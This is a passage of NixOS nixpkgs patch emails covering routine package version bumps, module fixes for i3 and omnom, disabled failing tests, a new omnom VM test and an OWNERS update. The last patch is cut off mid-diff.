     description = "Highly parallelized, blazing fast directory tree analyzer";

From 570f9d75103f9c3015fed32866b1043896e61f3d Mon Sep 17 00:00:00 2001
From: Marcus Ramberg <marcus@means.no>
Date: Mon, 23 Jun 2025 10:08:24 +0200
Subject: [PATCH 1444/4511] vivaldi: 7.4.3684.50 -> 7.4.3684.55

(cherry picked from commit c90ef3b582a8d98f553b51fa0ab1dcb0ab66b3d6)
---
 pkgs/by-name/vi/vivaldi/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/vi/vivaldi/package.nix b/pkgs/by-name/vi/vivaldi/package.nix
index 0b897add5442..f94d6b5e68ee 100644
--- a/pkgs/by-name/vi/vivaldi/package.nix
+++ b/pkgs/by-name/vi/vivaldi/package.nix
@@ -66,7 +66,7 @@
 
 stdenv.mkDerivation rec {
   pname = "vivaldi";
-  version = "7.4.3684.50";
+  version = "7.4.3684.55";
 
   suffix =
     {
@@ -79,8 +79,8 @@ stdenv.mkDerivation rec {
     url = "https://downloads.vivaldi.com/stable/vivaldi-stable_${version}-1_${suffix}.deb";
     hash =
       {
-        aarch64-linux = "sha256-we9+rJ8hOiMboNmcLlu6V/2Q/1lAwpQ+hu9s+JVXJcI=";
-        x86_64-linux = "sha256-JC/vKl2BU+P6qyU8WhiLoVd4nEG2EYYvwOVPqdVa2Eo=";
+        aarch64-linux = "sha256-nZGVmAtEBFm3+ELvR8/7TQl/WhnfPLDSKqrhSbwdsSA=";
+        x86_64-linux = "sha256-cXEpFa42Lq7BhZM2H7CwfJKJTzkhQfCQ0i4dbPRfdg8=";
       }
       .${stdenv.hostPlatform.system} or (throw "Unsupported system: ${stdenv.hostPlatform.system}");
   };

From c1ebdb5dd8add4f2f7ae40c4f02eca0703c683ef Mon Sep 17 00:00:00 2001
From: Thomas BESSOU <thomas.bessou@hotmail.fr>
Date: Mon, 16 Jun 2025 12:03:00 +0200
Subject: [PATCH 1445/4511] nixos/i3: fix i3lock default enable-ing

Prior to this commit, i3lock was enabled by default in a way that doesn't work as of https://github.com/NixOS/nixpkgs/commit/317c972e8af2092c95e1f30028f8b7366b4ab4b9#diff-aef862f6fd2c25092a3f17f974d8757285bf7baff6b80822cd142b7de1903ccfR451-R454
Users attempting to use i3lock with this default setup would get locked out of their system.

This fixes it by enabling i3lock via its `programs` option instead of specifying the package directly.

Discussion over at https://github.com/NixOS/nixpkgs/issues/401891#issuecomment-2963378189

(cherry picked from commit e82c7e5b8350bb36e56091477541a1d89763f46b)
---
 nixos/modules/services/x11/window-managers/i3.nix | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/nixos/modules/services/x11/window-managers/i3.nix b/nixos/modules/services/x11/window-managers/i3.nix
index 47c927b85456..ea594a1ee585 100644
--- a/nixos/modules/services/x11/window-managers/i3.nix
+++ b/nixos/modules/services/x11/window-managers/i3.nix
@@ -52,13 +52,11 @@ in
       default = with pkgs; [
         dmenu
         i3status
-        i3lock
       ];
       defaultText = literalExpression ''
         with pkgs; [
           dmenu
           i3status
-          i3lock
         ]
       '';
       description = ''
@@ -81,6 +79,7 @@ in
         '';
       }
     ];
+    programs.i3lock.enable = mkDefault true;
     environment.systemPackages = [ cfg.package ] ++ cfg.extraPackages;
     environment.etc."i3/config" = mkIf (cfg.configFile != null) {
       source = cfg.configFile;

From 5e36309db507111e412f43d1913ef9c79e0f4d21 Mon Sep 17 00:00:00 2001
From: Dom Rodriguez <shymega@shymega.org.uk>
Date: Sun, 22 Jun 2025 22:03:40 +0100
Subject: [PATCH 1446/4511] buildstream: Disable troublesome 'hardlinks' test

This fixes a recent breakage where the package doesn't build.

(cherry picked from commit 088d48f74e9aec9d422b49d76a206e421d9f1e41)
---
 pkgs/by-name/bu/buildstream/package.nix | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/pkgs/by-name/bu/buildstream/package.nix b/pkgs/by-name/bu/buildstream/package.nix
index 21373e5e8914..cefd4f1f28c3 100644
--- a/pkgs/by-name/bu/buildstream/package.nix
+++ b/pkgs/by-name/bu/buildstream/package.nix
@@ -94,6 +94,9 @@ python3Packages.buildPythonApplication rec {
 
     # Blob not found in the local CAS
     "test_source_pull_partial_fallback_fetch"
+
+    # FAILED tests/sources/tar.py::test_out_of_basedir_hardlinks - AssertionError
+    "test_out_of_basedir_hardlinks"
   ];
 
   disabledTestPaths = [

From f55d1160a51f63f159275cf3775cc358988a59e8 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Mon, 23 Jun 2025 13:34:10 +0000
Subject: [PATCH 1447/4511] microsoft-edge: 137.0.3296.83 -> 137.0.3296.93

(cherry picked from commit 75d0c240aca1d3634c941fe42ac9a2ebae3cbd3c)
---
 pkgs/by-name/mi/microsoft-edge/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/mi/microsoft-edge/package.nix b/pkgs/by-name/mi/microsoft-edge/package.nix
index 33bd2234bfbb..70278f9645b9 100644
--- a/pkgs/by-name/mi/microsoft-edge/package.nix
+++ b/pkgs/by-name/mi/microsoft-edge/package.nix
@@ -179,11 +179,11 @@ in
 
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "microsoft-edge";
-  version = "137.0.3296.83";
+  version = "137.0.3296.93";
 
   src = fetchurl {
     url = "https://packages.microsoft.com/repos/edge/pool/main/m/microsoft-edge-stable/microsoft-edge-stable_${finalAttrs.version}-1_amd64.deb";
-    hash = "sha256-wbiijvxzyyM9lxoMtcQHFqZYChlsHh0hNQTwdgxPpZY=";
+    hash = "sha256-SC8h6UQ/ee5ZlQWAZsmC1Co5Ky4kaXuoMpvVZtTIMHQ=";
   };
 
   # With strictDeps on, some shebangs were not being patched correctly

From 9c7192c3272cb9d416d85df94f5136476ada0227 Mon Sep 17 00:00:00 2001
From: Bobby Rong <rjl931189261@126.com>
Date: Sun, 22 Jun 2025 22:46:51 +0800
Subject: [PATCH 1448/4511] gxml: Disable tests

No upstream fix for months and this is only used by planify.

(cherry picked from commit 1519c5d166803269f5bb672fdd754e6de939a544)
---
 pkgs/by-name/gx/gxml/package.nix | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/pkgs/by-name/gx/gxml/package.nix b/pkgs/by-name/gx/gxml/package.nix
index 1ec14d461e72..f28c16d9ff6a 100644
--- a/pkgs/by-name/gx/gxml/package.nix
+++ b/pkgs/by-name/gx/gxml/package.nix
@@ -54,7 +54,8 @@ stdenv.mkDerivation (finalAttrs: {
       --replace-fail ">=0" ">= 0"
   '';
 
-  doCheck = true;
+  # https://github.com/NixOS/nixpkgs/issues/407969
+  doCheck = false;
 
   passthru.updateScript = gitUpdater { };
 

From 1bcf19a96dc8a674e7431e27b083d6ce33161ed9 Mon Sep 17 00:00:00 2001
From: Bobby Rong <rjl931189261@126.com>
Date: Sun, 22 Jun 2025 22:49:46 +0800
Subject: [PATCH 1449/4511] planify: 4.12.0 -> 4.12.2

https://github.com/alainm23/planify/compare/4.12.0...4.12.2
(cherry picked from commit 28215026fcd44b942f38ac5876e3fcda4f4daed1)
---
 pkgs/by-name/pl/planify/package.nix | 8 ++------
 1 file changed, 2 insertions(+), 6 deletions(-)

diff --git a/pkgs/by-name/pl/planify/package.nix b/pkgs/by-name/pl/planify/package.nix
index f58c3c9d2f4b..949044555868 100644
--- a/pkgs/by-name/pl/planify/package.nix
+++ b/pkgs/by-name/pl/planify/package.nix
@@ -29,13 +29,13 @@
 
 stdenv.mkDerivation rec {
   pname = "planify";
-  version = "4.12.0";
+  version = "4.12.2";
 
   src = fetchFromGitHub {
     owner = "alainm23";
     repo = "planify";
     rev = version;
-    hash = "sha256-YgNM+fzss1+Q6Fv9mhedhCorWFnerx5oC3iISEhs6z8=";
+    hash = "sha256-v5Fwbl02t178t+l+VZybeUojIsblLX3Ws5itAAoEZwI=";
   };
 
   nativeBuildInputs = [
@@ -69,10 +69,6 @@ stdenv.mkDerivation rec {
     webkitgtk_6_0
   ];
 
-  mesonFlags = [
-    "-Dprofile=default"
-  ];
-
   meta = with lib; {
     description = "Task manager with Todoist support designed for GNU/Linux";
     homepage = "https://github.com/alainm23/planify";

From e7e88058d7e03fc4d18aa37109e06beedaf803eb Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sat, 17 May 2025 11:48:08 +0000
Subject: [PATCH 1450/4511] wavebox: 10.135.21-2 -> 10.136.15-2

(cherry picked from commit b0f8a1e4874d79c6af7121e3b459abff4c482b80)
---
 pkgs/by-name/wa/wavebox/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/wa/wavebox/package.nix b/pkgs/by-name/wa/wavebox/package.nix
index 3152399e1b39..56e33611b1ec 100644
--- a/pkgs/by-name/wa/wavebox/package.nix
+++ b/pkgs/by-name/wa/wavebox/package.nix
@@ -156,11 +156,11 @@ let
 in
 stdenv.mkDerivation (finalAttrs: {
   pname = "wavebox";
-  version = "10.135.21-2";
+  version = "10.136.15-2";
 
   src = fetchurl {
     url = "https://download.wavebox.app/stable/linux/deb/amd64/wavebox_${finalAttrs.version}_amd64.deb";
-    hash = "sha256-NnJ+pP6JrMiMmoXS/yYm5qMLmv5oyguhmYF/M0Pv4/g=";
+    hash = "sha256-VY8SIFg4aN5dH3CXB6r/mv1lh2KWNSPDHZkNFXptQJo=";
   };
 
   nativeBuildInputs = [

From 9f16c48bbf79467b5eb87ee304a66c068b89ea13 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sat, 7 Jun 2025 13:51:08 +0000
Subject: [PATCH 1451/4511] wavebox: 10.136.15-2 -> 10.137.9-2

(cherry picked from commit ae3ac94bf45676f46d4532904c252486b440b932)
---
 pkgs/by-name/wa/wavebox/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/wa/wavebox/package.nix b/pkgs/by-name/wa/wavebox/package.nix
index 56e33611b1ec..0f5cb88fa46a 100644
--- a/pkgs/by-name/wa/wavebox/package.nix
+++ b/pkgs/by-name/wa/wavebox/package.nix
@@ -156,11 +156,11 @@ let
 in
 stdenv.mkDerivation (finalAttrs: {
   pname = "wavebox";
-  version = "10.136.15-2";
+  version = "10.137.9-2";
 
   src = fetchurl {
     url = "https://download.wavebox.app/stable/linux/deb/amd64/wavebox_${finalAttrs.version}_amd64.deb";
-    hash = "sha256-VY8SIFg4aN5dH3CXB6r/mv1lh2KWNSPDHZkNFXptQJo=";
+    hash = "sha256-knJKdBegAeC2xQWnkdvx2Xyyfr3Q9uHaXlD62PnMngs=";
   };
 
   nativeBuildInputs = [

From 98e20c8e6325b96a0d45bfbc2a1b81041d809e03 Mon Sep 17 00:00:00 2001
From: Tristan Ross <tristan.ross@midstall.com>
Date: Sun, 22 Jun 2025 18:53:18 -0700
Subject: [PATCH 1452/4511] llvmPackages_git: 21.0.0-unstable-2025-06-15 ->
 21.0.0-unstable-2025-06-22

(cherry picked from commit f661909067d8b60416801a99cbb7116aa5d059ee)
---
 pkgs/development/compilers/llvm/default.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/development/compilers/llvm/default.nix b/pkgs/development/compilers/llvm/default.nix
index 2ae34f202fd1..41500bcba153 100644
--- a/pkgs/development/compilers/llvm/default.nix
+++ b/pkgs/development/compilers/llvm/default.nix
@@ -33,9 +33,9 @@ let
     "19.1.7".officialRelease.sha256 = "sha256-cZAB5vZjeTsXt9QHbP5xluWNQnAHByHtHnAhVDV0E6I=";
     "20.1.6".officialRelease.sha256 = "sha256-PfCzECiCM+k0hHqEUSr1TSpnII5nqIxg+Z8ICjmMj0Y=";
     "21.0.0-git".gitRelease = {
-      rev = "9adde28df784f5c0cc960bdabd413ac131a5852e";
-      rev-version = "21.0.0-unstable-2025-06-15";
-      sha256 = "sha256-8HrUSKL3vOd/Jg9svso9ChCr4tvlGOliyGfi18oZLDY=";
+      rev = "f9fce4975bbad835deba6e639c21a62154dd8c14";
+      rev-version = "21.0.0-unstable-2025-06-22";
+      sha256 = "sha256-Xu9RD6R6tQDZ0kaSD7N0GTp1TcUV6BK12fobK0qPkIw=";
     };
   } // llvmVersions;
 

From 6e28c08d6db4dc4594767c6aeecdca669f1eae04 Mon Sep 17 00:00:00 2001
From: James Ward <james@jamesward.com>
Date: Sun, 22 Jun 2025 15:01:01 -0600
Subject: [PATCH 1453/4511] amazon-q-cli: 1.10.1 -> 1.12.1

The upstream repository moved to: https://github.com/aws/amazon-q-developer-cli-autocomplete
protoc is no longer required in the build. For reference: https://github.com/NixOS/nixpkgs/pull/390746#issuecomment-2994146454
Removed unneeded extra bins: chat_cli & test_mcp_server

(cherry picked from commit 71d484bf76ba0e57fb3b4aa7847b48f690d3f1c7)
---
 pkgs/by-name/am/amazon-q-cli/package.nix | 14 +++++---------
 1 file changed, 5 insertions(+), 9 deletions(-)

diff --git a/pkgs/by-name/am/amazon-q-cli/package.nix b/pkgs/by-name/am/amazon-q-cli/package.nix
index 340238e6140a..17ee8e671f3a 100644
--- a/pkgs/by-name/am/amazon-q-cli/package.nix
+++ b/pkgs/by-name/am/amazon-q-cli/package.nix
@@ -2,36 +2,32 @@
   lib,
   fetchFromGitHub,
   rustPlatform,
-  protobuf_26,
   versionCheckHook,
 }:
 
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "amazon-q-cli";
-  version = "1.10.1";
+  version = "1.12.1";
 
   src = fetchFromGitHub {
     owner = "aws";
-    repo = "amazon-q-developer-cli";
+    repo = "amazon-q-developer-cli-autocomplete";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-HgbF5jistZhzebZmnTmMBlHuL6/fy1kcQplAFldzAV8=";
+    hash = "sha256-oY2hDOsws2WVQPKEFhGNPHITo26p/UZ5XzvRX7DoMyc=";
   };
 
   useFetchCargoVendor = true;
 
-  cargoHash = "sha256-yhSVnz8gzJy/E9T1U4GsT3b7wmYzSCYXEb8y2HOIQms=";
+  cargoHash = "sha256-xriK88OY6W1cOZVgiUPBIuItVHwEyFNq5Ywh367K6CU=";
 
   cargoBuildFlags = [
     "-p"
     "chat_cli"
   ];
 
-  nativeBuildInputs = [
-    protobuf_26
-  ];
-
   postInstall = ''
     install -m 0755 $out/bin/chat_cli $out/bin/amazon-q
+    rm -f $out/bin/chat_cli $out/bin/test_mcp_server
   '';
 
   cargoTestFlags = [

From 6758d924b16024b47c3dd2f188bf267b53ed0f60 Mon Sep 17 00:00:00 2001
From: Alyssa Ross <hi@alyssa.is>
Date: Sun, 22 Jun 2025 12:42:32 +0200
Subject: [PATCH 1454/4511] ci/OWNERS: add kernel team to relevant files

This should prevent situations like
https://github.com/NixOS/nixpkgs/pull/389291 in future where a new
kernel variant was added without any discussion with the kernel team.

(cherry picked from commit 1fa650463cf0f5abad01667859175c3092f7aa09)
---
 ci/OWNERS | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/ci/OWNERS b/ci/OWNERS
index 08939f1b2c0b..8fcb05854206 100644
--- a/ci/OWNERS
+++ b/ci/OWNERS
@@ -288,6 +288,10 @@ pkgs/development/python-modules/buildcatrust/ @ajs124 @lukegb @mweinelt
 /pkgs/servers/home-assistant @mweinelt
 /pkgs/by-name/es/esphome @mweinelt
 
+# Linux kernel
+/pkgs/top-level/linux-kernels.nix @NixOS/linux-kernel
+/pkgs/os-specific/linux/kernel/ @NixOS/linux-kernel
+
 # Network Time Daemons
 /pkgs/by-name/ch/chrony @thoughtpolice
 /pkgs/by-name/nt/ntp @thoughtpolice

From eef4788444ccac653bc1027b244f20a3553681c7 Mon Sep 17 00:00:00 2001
From: Ryan Hendrickson <ryan.hendrickson@alum.mit.edu>
Date: Thu, 19 Jun 2025 04:34:07 -0400
Subject: [PATCH 1455/4511] firefox-devedition: fix remoting name

(cherry picked from commit 4d18fb7736283b6ddc99431c1f054a82e07b6fce)
---
 .../browsers/firefox/packages/firefox-devedition.nix     | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/pkgs/applications/networking/browsers/firefox/packages/firefox-devedition.nix b/pkgs/applications/networking/browsers/firefox/packages/firefox-devedition.nix
index 45ad9b2a0d2f..f9f991475be4 100644
--- a/pkgs/applications/networking/browsers/firefox/packages/firefox-devedition.nix
+++ b/pkgs/applications/networking/browsers/firefox/packages/firefox-devedition.nix
@@ -19,6 +19,15 @@ buildMozillaMach rec {
     sha512 = "c653824a5be5e376f53bd73589760af6bb74d7ee66f6557ec9fda4e3d795a851f49d73c063abac69aa6663f7f8b3c76b9487d0c067e33bd1c2be7733b9356325";
   };
 
+  # buildMozillaMach sets MOZ_APP_REMOTINGNAME during configuration, but
+  # unfortunately if the branding file also defines MOZ_APP_REMOTINGNAME, the
+  # branding file takes precedence. ("aurora" is the only branding to do this,
+  # so far.) We remove it so that the name set in buildMozillaMach takes
+  # effect.
+  extraPostPatch = ''
+    sed -i '/^MOZ_APP_REMOTINGNAME=/d' browser/branding/aurora/configure.sh
+  '';
+
   meta = {
     changelog = "https://www.mozilla.org/en-US/firefox/${lib.versions.majorMinor version}beta/releasenotes/";
     description = "Web browser built from Firefox Developer Edition source tree";

From b4a3d1df40fd6bde5d840e5e9fc57c372c898573 Mon Sep 17 00:00:00 2001
From: eljamm <fedi.jamoussi@protonmail.ch>
Date: Tue, 20 May 2025 21:02:36 +0200
Subject: [PATCH 1456/4511] nixos/omnom: fix module

(cherry picked from commit 19c1b4250cdca84b18e66187e9e567c2729c5a5e)
---
 nixos/modules/services/misc/omnom.nix | 49 +++++++++++++++------------
 1 file changed, 28 insertions(+), 21 deletions(-)

diff --git a/nixos/modules/services/misc/omnom.nix b/nixos/modules/services/misc/omnom.nix
index da21648105e3..6e157ca3b014 100644
--- a/nixos/modules/services/misc/omnom.nix
+++ b/nixos/modules/services/misc/omnom.nix
@@ -104,14 +104,6 @@ in
                 default = "fs";
                 description = "Storage type.";
               };
-              root = lib.mkOption {
-                type = lib.types.path;
-                default = "${cfg.dataDir}/static/data";
-                defaultText = lib.literalExpression ''
-                  "''${config.services.omnom.dataDir}/static/data"
-                '';
-                description = "Where the snapshots are saved.";
-              };
             };
             smtp = {
               tls = lib.mkEnableOption "Whether TLS encryption should be used.";
@@ -142,6 +134,24 @@ in
                 description = "Connection timeout duration in seconds.";
               };
             };
+            activitypub = {
+              pubkey = lib.mkOption {
+                type = lib.types.path;
+                default = "${cfg.dataDir}/public.pem";
+                defaultText = lib.literalExpression ''
+                  "''${config.services.omnom.dataDir}/public.pem"
+                '';
+                description = "ActivityPub public key. Will be generated, by default.";
+              };
+              privkey = lib.mkOption {
+                type = lib.types.path;
+                default = "${cfg.dataDir}/private.pem";
+                defaultText = lib.literalExpression ''
+                  "''${config.services.omnom.dataDir}/private.pem"
+                '';
+                description = "ActivityPub private key. Will be generated, by default.";
+              };
+            };
           };
         };
         default = { };
@@ -150,6 +160,13 @@ in
   };
 
   config = lib.mkIf cfg.enable {
+    services.omnom = {
+      settings.app = {
+        static_dir = "${cfg.dataDir}/static";
+        template_dir = "${cfg.package}/share/templates";
+      };
+    };
+
     assertions = [
       {
         assertion = !lib.hasAttr "password" cfg.settings.smtp;
@@ -157,16 +174,6 @@ in
           `services.omnom.settings.smtp.password` must be defined in `services.omnom.passwordFile`.
         '';
       }
-      {
-        assertion = !(cfg.settings.storage.root != "${cfg.dataDir}/static/data");
-        message = ''
-          For Omnom to access the snapshots, it needs the storage root
-          directory to be inside the service's working directory.
-
-          As such, `services.omnom.settings.storage.root` must be the same as
-          `''${services.omnom.dataDir}/static/data`.
-        '';
-      }
     ];
 
     systemd.services.omnom = {
@@ -224,10 +231,10 @@ in
       in
       {
         "${cfg.dataDir}"."d" = settings;
-        "${cfg.dataDir}/templates"."L+" = settings // {
-          argument = "${cfg.package}/share/templates";
+        "${cfg.settings.app.static_dir}"."C" = settings // {
+          argument = "${cfg.package}/share/static";
         };
-        "${cfg.settings.storage.root}"."d" = settings;
+        "${cfg.settings.app.static_dir}/data"."d" = settings;
       };
 
     networking.firewall = lib.mkIf cfg.openFirewall {

From 0d430d473b867777840dfe45f5e8f744964542b4 Mon Sep 17 00:00:00 2001
From: eljamm <fedi.jamoussi@protonmail.ch>
Date: Tue, 20 May 2025 21:03:22 +0200
Subject: [PATCH 1457/4511] nixos/test: init omnom

(cherry picked from commit 56c4e8b5b5754d96cfd81b858fd6abc9eb19c484)
---
 nixos/tests/all-tests.nix         |  1 +
 nixos/tests/omnom.nix             | 42 +++++++++++++++++++++++++++++++
 pkgs/by-name/om/omnom/package.nix |  3 +++
 3 files changed, 46 insertions(+)
 create mode 100644 nixos/tests/omnom.nix

diff --git a/nixos/tests/all-tests.nix b/nixos/tests/all-tests.nix
index 0f00ec790eb6..d0c41e0e9629 100644
--- a/nixos/tests/all-tests.nix
+++ b/nixos/tests/all-tests.nix
@@ -974,6 +974,7 @@ in
   ollama-cuda = runTestOn [ "x86_64-linux" "aarch64-linux" ] ./ollama-cuda.nix;
   ollama-rocm = runTestOn [ "x86_64-linux" "aarch64-linux" ] ./ollama-rocm.nix;
   ombi = handleTest ./ombi.nix { };
+  omnom = runTest ./omnom.nix;
   openarena = handleTest ./openarena.nix { };
   openbao = runTest ./openbao.nix;
   openldap = handleTest ./openldap.nix { };
diff --git a/nixos/tests/omnom.nix b/nixos/tests/omnom.nix
new file mode 100644
index 000000000000..4bfdbd679b39
--- /dev/null
+++ b/nixos/tests/omnom.nix
@@ -0,0 +1,42 @@
+{ lib, ... }:
+let
+  servicePort = 9090;
+in
+{
+  name = "Basic Omnom Test";
+  meta = {
+    maintainers = lib.teams.ngi.members;
+  };
+
+  nodes = {
+    server =
+      { config, lib, ... }:
+      {
+        services.omnom = {
+          enable = true;
+          openFirewall = true;
+
+          port = servicePort;
+
+          settings = {
+            app = {
+              disable_signup = false; # restrict CLI user-creation
+              results_per_page = 50;
+            };
+            server.address = "0.0.0.0:${toString servicePort}";
+          };
+        };
+      };
+  };
+
+  # TODO: take a snapshot
+  testScript =
+    { nodes, ... }:
+    # python
+    ''
+      server.start()
+      server.wait_for_unit("omnom.service")
+      server.wait_for_open_port(${toString servicePort})
+      server.succeed("curl -sf http://localhost:${toString servicePort}")
+    '';
+}
diff --git a/pkgs/by-name/om/omnom/package.nix b/pkgs/by-name/om/omnom/package.nix
index d885a6601df9..841ece5afa5a 100644
--- a/pkgs/by-name/om/omnom/package.nix
+++ b/pkgs/by-name/om/omnom/package.nix
@@ -4,6 +4,7 @@
   fetchFromGitHub,
   nix-update-script,
   makeWrapper,
+  nixosTests,
 
   # for addons
   buildNpmPackage,
@@ -77,6 +78,8 @@ buildGoModule (finalAttrs: {
     cp config.yml_sample $out/share/examples/config.yml
   '';
 
+  passthru.tests = nixosTests.omnom;
+
   meta = {
     description = "A webpage bookmarking and snapshotting service";
     homepage = "https://github.com/asciimoo/omnom";

From 5875e2903bc195fe0c6072b395f32f48a1b2ccdf Mon Sep 17 00:00:00 2001
From: eljamm <fedi.jamoussi@protonmail.ch>
Date: Tue, 20 May 2025 21:14:20 +0200
Subject: [PATCH 1458/4511] omnom: 0.3.0 -> 0.4.0

(cherry picked from commit 8c9edecd5df313613f05e0d708d2e5670c326d52)
---
 .../omnom/0001-fix-minimal-go-version.patch   | 83 -------------------
 pkgs/by-name/om/omnom/package.nix             | 14 ++--
 2 files changed, 9 insertions(+), 88 deletions(-)
 delete mode 100644 pkgs/by-name/om/omnom/0001-fix-minimal-go-version.patch

diff --git a/pkgs/by-name/om/omnom/0001-fix-minimal-go-version.patch b/pkgs/by-name/om/omnom/0001-fix-minimal-go-version.patch
deleted file mode 100644
index 64f63f1bf6ff..000000000000
--- a/pkgs/by-name/om/omnom/0001-fix-minimal-go-version.patch
+++ /dev/null
@@ -1,83 +0,0 @@
-Bump the minimal Go version as some features require Go 1.17 and higher to work
-
----
- go.mod | 48 ++++++++++++++++++++++++++++++++++++++----------
- 1 file changed, 38 insertions(+), 10 deletions(-)
-
-diff --git a/go.mod b/go.mod
-index 1756ffe..81f7fa2 100644
---- a/go.mod
-+++ b/go.mod
-@@ -1,31 +1,59 @@
- module github.com/asciimoo/omnom
-
--go 1.15
-+go 1.17
-
- require (
--	github.com/boj/redistore v0.0.0-20180917114910-cd5dcc76aeff // indirect
--	github.com/bytedance/sonic v1.12.1 // indirect
--	github.com/gabriel-vasile/mimetype v1.4.5 // indirect
- 	github.com/gin-contrib/multitemplate v1.0.1
- 	github.com/gin-gonic/contrib v0.0.0-20240508051311-c1c6bf0061b0
- 	github.com/gin-gonic/gin v1.10.0
-+	github.com/spf13/cobra v1.8.1
-+	github.com/xhit/go-simple-mail/v2 v2.16.0
-+	golang.org/x/net v0.27.0
-+	gopkg.in/yaml.v2 v2.4.0
-+	gorm.io/driver/sqlite v1.5.6
-+	gorm.io/gorm v1.25.11
-+)
-+
-+require (
-+	github.com/boj/redistore v0.0.0-20180917114910-cd5dcc76aeff // indirect
-+	github.com/bytedance/sonic v1.12.1 // indirect
-+	github.com/bytedance/sonic/loader v0.2.0 // indirect
-+	github.com/cloudwego/base64x v0.1.4 // indirect
-+	github.com/cloudwego/iasm v0.2.0 // indirect
-+	github.com/gabriel-vasile/mimetype v1.4.5 // indirect
-+	github.com/gin-contrib/sse v0.1.0 // indirect
-+	github.com/go-playground/locales v0.14.1 // indirect
-+	github.com/go-playground/universal-translator v0.18.1 // indirect
- 	github.com/go-playground/validator/v10 v10.22.0 // indirect
- 	github.com/go-test/deep v1.1.1 // indirect
- 	github.com/goccy/go-json v0.10.3 // indirect
-+	github.com/gomodule/redigo v2.0.0+incompatible // indirect
-+	github.com/google/go-cmp v0.6.0 // indirect
- 	github.com/gorilla/context v1.1.2 // indirect
-+	github.com/gorilla/securecookie v1.1.2 // indirect
- 	github.com/gorilla/sessions v1.3.0 // indirect
-+	github.com/inconshreveable/mousetrap v1.1.0 // indirect
-+	github.com/jinzhu/inflection v1.0.0 // indirect
-+	github.com/jinzhu/now v1.1.5 // indirect
-+	github.com/json-iterator/go v1.1.12 // indirect
- 	github.com/klauspost/cpuid/v2 v2.2.8 // indirect
- 	github.com/kr/pretty v0.3.0 // indirect
-+	github.com/leodido/go-urn v1.4.0 // indirect
-+	github.com/mattn/go-isatty v0.0.20 // indirect
-+	github.com/mattn/go-sqlite3 v1.14.22 // indirect
-+	github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect
-+	github.com/modern-go/reflect2 v1.0.2 // indirect
-+	github.com/pelletier/go-toml/v2 v2.2.2 // indirect
- 	github.com/rogpeppe/go-internal v1.8.0 // indirect
--	github.com/spf13/cobra v1.8.1
-+	github.com/spf13/pflag v1.0.5 // indirect
- 	github.com/toorop/go-dkim v0.0.0-20240103092955-90b7d1423f92 // indirect
--	github.com/xhit/go-simple-mail/v2 v2.16.0
-+	github.com/twitchyliquid64/golang-asm v0.15.1 // indirect
-+	github.com/ugorji/go/codec v1.2.12 // indirect
- 	golang.org/x/arch v0.9.0 // indirect
--	golang.org/x/net v0.27.0
-+	golang.org/x/crypto v0.25.0 // indirect
- 	golang.org/x/sys v0.23.0 // indirect
-+	golang.org/x/text v0.16.0 // indirect
- 	google.golang.org/protobuf v1.34.2 // indirect
- 	gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c // indirect
--	gopkg.in/yaml.v2 v2.4.0
--	gorm.io/driver/sqlite v1.5.6
--	gorm.io/gorm v1.25.11
-+	gopkg.in/yaml.v3 v3.0.1 // indirect
- )
---
-2.45.2
-
diff --git a/pkgs/by-name/om/omnom/package.nix b/pkgs/by-name/om/omnom/package.nix
index 841ece5afa5a..d5a31028808e 100644
--- a/pkgs/by-name/om/omnom/package.nix
+++ b/pkgs/by-name/om/omnom/package.nix
@@ -13,22 +13,20 @@
 
 buildGoModule (finalAttrs: {
   pname = "omnom";
-  version = "0.3.0";
+  version = "0.4.0";
 
   src = fetchFromGitHub {
     owner = "asciimoo";
     repo = "omnom";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-2D+hEOlyjCJQKnLBBO1cXeqTS/QUWraPWPtI8pCf9KM=";
+    hash = "sha256-xspzTRIYUJSdI2Z/FAS2ecLpEEmEVGIwlhjrS5Yxh2c=";
     fetchSubmodules = true;
   };
 
-  vendorHash = "sha256-dsS5w8JXIwkneWScOFzLSDiXq+clgK+RdYiMw0+FnvY=";
+  vendorHash = "sha256-qOl6f83k91K7YNF7lBbL66lXb/XWbGHyXeN7ZTchsI8=";
 
   passthru.updateScript = nix-update-script { };
 
-  patches = [ ./0001-fix-minimal-go-version.patch ];
-
   nativeBuildInputs = [ makeWrapper ];
 
   ldflags = [
@@ -48,6 +46,12 @@ buildGoModule (finalAttrs: {
 
         nativeBuildInputs = [ zip ];
 
+        # Fix path for the `static` directory
+        postConfigure = ''
+          substituteInPlace webpack.config.js \
+          --replace-fail '"..", ".."' '".."'
+        '';
+
         postBuild = ''
           mkdir -p $out
 

From 65c7b8eb97e0385cb2a775d71d9a9cd167f503a2 Mon Sep 17 00:00:00 2001
From: Michael Daniels <mdaniels5757@gmail.com>
Date: Mon, 23 Jun 2025 14:56:22 -0400
Subject: [PATCH 1459/4511] geoserver: remove rec when using finalAttrs

Not a cherry-pick, but identical to the changes to this file
in the treewide d75957a3bbc310475425c9042174225c837f9473.
---
 pkgs/by-name/ge/geoserver/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ge/geoserver/package.nix b/pkgs/by-name/ge/geoserver/package.nix
index 0cee73f25f50..0822e0f42b29 100644
--- a/pkgs/by-name/ge/geoserver/package.nix
